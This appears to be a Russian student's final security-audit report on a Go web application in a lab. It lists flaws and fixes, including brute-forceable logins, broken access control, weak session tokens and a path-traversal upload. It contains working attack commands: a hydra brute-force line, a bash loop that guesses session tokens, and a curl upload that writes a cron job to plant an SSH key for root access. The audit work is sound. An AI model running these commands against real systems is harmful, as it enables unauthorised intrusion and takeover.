Итоговая работа по модулю "Защищённый контур" (Профессия Специалист по информационной безопасности) - Лунев Федор Владимирович
| Параметр | Значение |
|---|---|
| ОС | Ubuntu Linux (OpenSSH 7.6p1 Ubuntu 4ubuntu0.3) |
| Приложение | Go (Golang net/http server), порт 8888, протокол HTTP |
| Сервис systemd | sk.service |
| Каталог приложения | /opt/sk |
| Открытые порты | 21/tcp (vsftpd 3.0.3), 22/tcp (OpenSSH 7.6p1), 8888/tcp (HTTP — приложение) |
Приложение содержит следующие разделы:
/login.html— страница авторизации/administrate/index.html— панель администрирования (управление пользователями и ролями)/clients/index.html— раздел «Клиенты» (персональные данные: ФИО, телефон, email)/commercial/index.html— раздел «Документы (КТ)» (коммерческая тайна: загрузка/скачивание/удаление файлов)
| Роль | Описание | Предполагаемый доступ |
|---|---|---|
| ADMIN | Администратор | Управление пользователями |
| PDN | Персональные данные клиентов | Доступ к разделу «Клиенты» |
| KT | Коммерческая тайна | Доступ к разделу «Документы (КТ)» |
Несоответствие: Приложение возвращает различные сообщения об ошибках при попытке аутентификации:
- Для несуществующего пользователя:
Неверно указан логин - Для существующего пользователя с неверным паролем:
Неверно указан пароль
Это позволяет злоумышленнику перечислить (перебрать) действительные логины пользователей системы (User Enumeration, CWE-204).
Доказательство:
$ curl -s -X POST http://192.168.0.13:8888/login -d "login=admin&password=wrong" | grep "invalid-feedback"
→ Неверно указан пароль
$ curl -s -X POST http://192.168.0.13:8888/login -d "login=nonexistentXXX999&password=wrong" | grep "invalid-feedback"
→ Неверно указан логин
Рекомендация: Использовать единое сообщение об ошибке: «Неверно указан логин или пароль».
Несоответствие: Поле пароля на странице авторизации (/login.html) использует атрибут type="text" вместо type="password". Пароль отображается в открытом виде при наборе.
Доказательство (исходный код login.html):
<input name="password" type="text" class="form-control" id="password">Аналогичная проблема присутствует на странице создания пользователя (/administrate/index.html) — поле пароля нового пользователя также имеет type="text".
Рекомендация: Заменить type="text" на type="password" во всех полях ввода пароля.
Несоответствие №1: Приложение работает исключительно по протоколу HTTP (без TLS/HTTPS). Все данные, включая логины, пароли и сессионные токены, передаются в открытом виде по сети.
Несоответствие №2: Сессионный cookie token не имеет флага Secure, что допускает его передачу по незашифрованному каналу.
Доказательство:
Set-Cookie: token=43261476; HttpOnly; SameSite=Strict
Флаг Secure — отсутствует.
Рекомендация: Настроить TLS (HTTPS) и установить флаг Secure на cookie.
Несоответствие: Приложение не предъявляет никаких требований к сложности и длине пароля. При создании пользователя через панель администрирования допускается установка пароля длиной в 1 символ без каких-либо ограничений.
Согласно требованиям ФСТЭК, пароль должен содержать не менее 6–8 символов, включая буквы верхнего и нижнего регистра, цифры и специальные символы.
Рекомендация: Реализовать серверную валидацию сложности пароля (минимум 8 символов, обязательное наличие букв разного регистра, цифр и спецсимволов).
Несоответствие: Отсутствует механизм блокировки учётной записи или ограничения скорости (rate limiting) при многократных неудачных попытках входа. Проведено 20 последовательных неудачных попыток — все вернули HTTP 200 без каких-либо ограничений.
Доказательство:
Attempt 1: HTTP 200
Attempt 2: HTTP 200
...
Attempt 20: HTTP 200
Это подтверждается успешным подбором пароля пользователя root с помощью утилиты hydra:
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 16 -s 8888 \
192.168.0.13 http-post-form "/login:login=^USER^&password=^PASS^:S=303"Результат: пароль root = password123 — найден за несколько минут.
Рекомендация: Реализовать блокировку учётной записи после 5–10 неудачных попыток входа или ввести прогрессивную задержку (throttling).
Несоответствие [КРИТИЧЕСКОЕ]: Разграничение доступа к разделу «Документы (КТ)» (/commercial/index.html) не работает.
Проведено тестирование с тремя пользователями:
| Пользователь | Роли | Доступ к /clients (ПДн) | Доступ к /commercial (КТ) | Ожидаемый доступ к КТ |
|---|---|---|---|---|
| testpdn | PDN | HTTP 200 ✅ | HTTP 200 ✅ | Запрещён ❌ |
| testkt | KT | HTTP 303 ❌ | HTTP 200 ✅ | Разрешён ✅ |
| testnone | (нет ролей) | HTTP 303 ❌ | HTTP 200 ✅ | Запрещён ❌ |
Вывод: Пользователь без роли KT (и даже пользователь без каких-либо ролей) получает полный доступ к документам, отнесённым к коммерческой тайне. Разграничение доступа в разделе «Документы (КТ)» фактически отсутствует.
При этом разграничение доступа к разделу «Клиенты» (ПДн) работает корректно — пользователь без роли PDN получает перенаправление на страницу входа (HTTP 303).
Рекомендация: Реализовать проверку наличия роли KT при доступе к разделу /commercial/* на стороне сервера.
Несоответствие [КРИТИЧЕСКОЕ]: Страница /commercial/index.html доступна без аутентификации (без cookie сессии). Неаутентифицированный пользователь может просматривать список документов КТ, а также загружать новые файлы через эндпоинт /commercial/create.
Доказательство:
Без авторизации — просмотр документов КТ
$ curl -s -o /dev/null -w "%{http_code}" http://192.168.0.13:8888/commercial/index.html
200
Без авторизации — загрузка файла в раздел КТ
$ curl -s -o /dev/null -w "%{http_code}" -X POST http://192.168.0.13:8888/commercial/create \
-F "name=SECRET_DOC" -F "file=@/etc/hostname"
200Файл успешно загружается и отображается в списке документов.
Рекомендация: Обязать аутентификацию для всех эндпоинтов раздела /commercial/*.
Несоответствие: Приложение позиционируется как средство для работы с коммерческой тайной, однако механизм разграничения доступа к документам КТ не функционирует (УПД.2 выше):
- Любой аутентифицированный пользователь (вне зависимости от ролей) имеет доступ к КТ
- Неаутентифицированный пользователь также имеет доступ к КТ
Это является прямым нарушением требований по защите коммерческой тайны через механизмы разграничения доступа, встроенные в приложение.
| Параметр | Значение |
|---|---|
| Слабость | Отсутствие ограничения попыток входа (CWE-307), слабый пароль пользователя root (CWE-521), перечисление пользователей (CWE-204) |
| Уязвимость | Возможность подбора пароля любого пользователя за конечное время |
| Критичность | Высокая |
Шаг 1. Обнаружение существующих пользователей через различающиеся сообщения об ошибках:
Несуществующий пользователь → "Неверно указан логин"
curl -s -X POST http://192.168.0.13:8888/login \
-d "login=fakeuser&password=x" | grep "invalid-feedback"
→ Неверно указан логин
Существующий пользователь → "Неверно указан пароль"
curl -s -X POST http://192.168.0.13:8888/login \
-d "login=root&password=x" | grep "invalid-feedback"
→ Неверно указан парольУстановлено, что в системе существуют пользователи: admin, root.
Шаг 2. Подбор пароля пользователя root утилитой Hydra:
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 16 -s 8888 \
192.168.0.13 http-post-form \
"/login:login=^USER^&password=^PASS^:S=303"Шаг 3. Пароль подобран: password123
Результат: Получен полный доступ к приложению от имени пользователя root, включая все разделы: Администрирование, Клиенты (ПДн), Документы (КТ).
- Внедрить блокировку учётной записи после 5–10 неудачных попыток (с разблокировкой через заданный интервал или администратором).
- Внедрить задержку ответа при неудачных попытках (progressive delay).
- Установить требования к сложности пароля (не менее 8 символов, буквы, цифры, спецсимволы).
- Использовать единое сообщение об ошибке аутентификации.
- Рассмотреть внедрение CAPTCHA после нескольких неудачных попыток.
| Параметр | Значение |
|---|---|
| Слабость | Отсутствие проверки аутентификации на эндпоинтах /commercial/* (CWE-306), нарушение разграничения доступа (CWE-284, CWE-862) |
| Уязвимость | Полный доступ к документам КТ без авторизации |
| Критичность | Критическая |
Шаг 1. Обращение к странице документов КТ без cookie аутентификации:
curl -s http://192.168.0.13:8888/commercial/index.htmlОтвет: HTTP 200, полная HTML-страница с таблицей документов.
Шаг 2. Загрузка произвольного файла в раздел КТ без аутентификации:
curl -X POST http://192.168.0.13:8888/commercial/create \
-F "name=СЕКРЕТНЫЙ_ДОКУМЕНТ" -F "file=@secret.pdf"Ответ: HTTP 200 — файл успешно загружен.
Шаг 3. Проверка — файл отображается в списке документов КТ:
<td>СЕКРЕТНЫЙ_ДОКУМЕНТ</td>
<td>5</td>
<td>2026-05-22 20:38:55.094143271 +0300 MSK</td>
Результат: Неаутентифицированный злоумышленник может:
- Просматривать список всех документов, отнесённых к КТ
- Загружать произвольные файлы в раздел КТ
- Подменять содержимое раздела
- Добавить обязательную проверку аутентификации (наличие валидного сессионного токена) для всех эндпоинтов
/commercial/*. - Добавить проверку наличия роли KT для доступа к
/commercial/*. - Реализовать серверную проверку авторизации на всех операциях (просмотр, создание, скачивание, удаление).
| Параметр | Значение |
|---|---|
| Слабость | Использование слабого генератора сессионных идентификаторов (CWE-330), малое пространство значений токена |
| Уязвимость | Возможность подбора действующего сессионного токена (Session Hijacking) |
| Критичность | Высокая |
Сессионные токены представляют собой 8-значные целые числа в диапазоне 0–99 999 999:
token=60992550
token=53010491
token=97415198
token=86916294
token=68129465
token=26976797
Общее пространство значений — 100 000 000 (10^8). Для криптографически стойкого идентификатора сессии рекомендуется пространство не менее 2^128.
При скорости 1 000 запросов/сек полный перебор занимает ~28 часов. При 10 000 запросов/сек — ~2,7 часа.
Получаем свой токен
TOKEN=43030000
Перебираем значения вокруг известного токена
for i in $(seq 43029500 43030500); do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
http://192.168.0.13:8888/ -H "Cookie: token=$i")
if [ "$CODE" = "200" ]; then
echo "VALID TOKEN: $i"
fi
done
Результат: VALID TOKEN FOUND: token=43030000 -> HTTP 200- Использовать криптографически стойкий генератор случайных чисел (CSPRNG).
- Увеличить длину токена до не менее 128 бит (например, UUID v4 или 32 символа hex).
- Установить флаг
Secureна cookie. - Внедрить привязку сессии к IP-адресу и/или User-Agent.
| Параметр | Значение |
|---|---|
| Слабость | Недостаточная проверка входных данных при загрузке файлов (CWE-22, CWE-434) |
| Уязвимость | Path Traversal, ведущий к записи произвольных файлов и RCE (Remote Code Execution) |
| Критичность | Критическая |
Механизм загрузки файлов в разделе «Документы (КТ)» не проверяет и не санирует параметр name в multipart/form-data. Это позволяет использовать символы обхода каталога (../) для записи файла в любую директорию файловой системы.
Поскольку приложение работает от имени пользователя root, возможна запись файла в системные директории, например /etc/cron.d/, что приводит к удалённому выполнению кода с максимальными привилегиями. Примечательно, что даже если учётная запись root в приложении уже скомпрометирована другим путём, данная уязвимость позволяет злоумышленнику полноценно закрепиться в системе на уровне ОС, а также получить прямой доступ к памяти процесса веб-сервера, исходным кодам и всем базам данных.
Шаг 1. Генерация SSH-ключа и подготовка payload для cron:
ssh-keygen -t ed25519 -f ./sk_root_key -q -N ""
PUB_KEY=$(cat ./sk_root_key.pub)
cat <<EOF > ssh_payload.txt
* * * * * root mkdir -p /root/.ssh && echo "$PUB_KEY" > /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && rm -f /etc/cron.d/sk_ssh
EOFШаг 2. Эксплуатация уязвимости (загрузка файла через Path Traversal):
curl -s -F "name=../../../../etc/cron.d/sk_ssh" \
-F "file=@ssh_payload.txt" \
http://192.168.0.13:8888/commercial/createШаг 3. После срабатывания cron-задачи (через 1 минуту) получаем полный доступ к серверу по SSH:
ssh -i ./sk_root_key root@192.168.0.13Результат: Полный контроль над сервером на уровне ОС с правами root.
- Жёстко валидировать имена файлов, удаляя или запрещая символы
/,\и последовательности... - Хранить загруженные файлы со случайно сгенерированными именами (например, UUID), а оригинальное имя хранить только в базе данных.
- Запускать приложение от имени непривилегированного пользователя (например,
sk_user).
Приложение работает исключительно по протоколу HTTP. Все данные (логины, пароли, сессионные токены, персональные данные клиентов, документы КТ) передаются по сети в открытом виде и могут быть перехвачены при помощи сетевого сниффера.
Рекомендация: Настроить TLS/HTTPS (сертификат Let's Encrypt или корпоративный CA), запретить работу по HTTP.
Ни одна форма в приложении не содержит CSRF-токен. Хотя cookie имеет атрибут SameSite=Strict, что частично снижает риск, полноценная защита от CSRF отсутствует.
Формы без CSRF-токена:
/login(POST)/clients/create(POST)/clients/delete(POST)/commercial/create(POST)/commercial/download(POST)/commercial/delete(POST)/administrate/create(POST)/administrate/delete(POST)/logout(POST)
Рекомендация: Реализовать генерацию и проверку CSRF-токенов для всех форм, изменяющих состояние.
При анализе HTTP-ответов сервера выявлено полное отсутствие защитных заголовков:
| Заголовок | Статус | Назначение |
|---|---|---|
X-Frame-Options |
❌ Отсутствует | Защита от Clickjacking |
Content-Security-Policy |
❌ Отсутствует | Защита от XSS, инъекций |
X-Content-Type-Options |
❌ Отсутствует | Предотвращение MIME-sniffing |
Strict-Transport-Security |
❌ Отсутствует | Принудительное использование HTTPS |
X-XSS-Protection |
❌ Отсутствует | Встроенная защита браузера от XSS |
Рекомендация: Настроить отправку всех указанных заголовков.
Раздел «Документы (КТ)» позволяет загружать файлы любого типа — в том числе исполняемые файлы (.php, .sh, .exe, .elf) — без проверки расширения или MIME-типа.
Рекомендация: Реализовать whitelist допустимых расширений и MIME-типов. Проверять загружаемые файлы антивирусным ПО.
На сервере обнаружены дополнительные открытые сетевые службы:
| Порт | Служба | Риск |
|---|---|---|
| 21/tcp | vsftpd 3.0.3 (FTP) | FTP передаёт данные в открытом виде; расширяет поверхность атаки |
| 22/tcp | OpenSSH 7.6p1 | Устаревшая версия, подвержена CVE-2018-15473 (перечисление пользователей) |
Рекомендация: Отключить FTP (использовать SFTP вместо FTP). Обновить OpenSSH до актуальной версии. Настроить файрвол для ограничения доступа к служебным портам.
Приложение (процесс sk.bin, запускаемый через sk.service) выполняется от имени суперпользователя root. В случае компрометации приложения (как было продемонстрировано в уязвимости №4), злоумышленник сразу получает полный контроль над всей операционной системой. Это нарушает принцип наименьших привилегий и не соответствует мере УПД.5 (назначение минимально необходимых прав и привилегий пользователям и лицам, обеспечивающим функционирование информационной системы).
Рекомендация: Настроить запуск сервиса от имени выделенного непривилегированного системного пользователя (например, sk_user).
Анализ бинарного файла приложения и памяти процесса показал использование алгоритма MD5 для хеширования паролей пользователей. MD5 признан криптографически нестойким и уязвимым к атакам перебором и коллизиям. Базы данных пользователей (например, users.db) хранятся в проприетарном бинарном формате, однако пароли внутри них защищены только MD5.
Рекомендация: Перейти на криптографически стойкие алгоритмы хеширования паролей с использованием уникальной соли (bcrypt, Argon2, scrypt).
Приложение «Защищённый контур» не соответствует заявленным характеристикам безопасности и не может использоваться для построения ИСПДн до 4 УЗ включительно, а также для обработки коммерческой тайны в текущем состоянии.
Для приведения приложения в соответствие с требованиями нормативных документов необходимо устранить все выявленные уязвимости и провести повторный аудит.